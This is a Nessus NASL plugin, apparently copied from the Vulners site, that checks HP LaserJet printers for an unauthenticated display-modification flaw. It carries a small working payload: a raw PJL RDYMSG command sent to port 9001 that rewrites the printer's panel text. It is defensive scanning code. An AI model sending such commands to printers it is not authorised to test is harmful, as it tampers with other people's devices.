#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10103);
script_version("1.27");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_bugtraq_id(2245);
script_name(english:"HP LaserJet LCD Display Modification");
script_set_attribute(attribute:"synopsis", value:
"The remote printer is affected by a display modification vulnerability.");
script_set_attribute(attribute:"description", value:
"It may be possible to remotely change the printer's display text.
Please check the printer display, and if it is set to 'Nessus' then
the test succeeded.");
script_set_attribute(attribute:"solution", value:
"Filter incoming packets to port 9001.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"1997/12/08");
script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/h:hp:laserjet");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Misc.");
script_copyright(english:"This script is Copyright (C) 1999-2022 Tenable Network Security, Inc.");
script_dependencies("find_service1.nasl", "passwordless_hp_printer.nasl");
script_require_keys("devices/hp_printer");
script_require_ports(9001);
exit(0);
}
#
# The script code starts here
#
hp = get_kb_item("devices/hp_printer");
if(hp)
{
port = 9001;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
data = raw_string("\033#-12345X@PJL RDYMSG DISPLAY = ",0x22,
"Nessus", 0x22, "\033#-12345X\r\n");
send(socket:soc, data:data);
security_warning(9001);
close(soc);
}
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation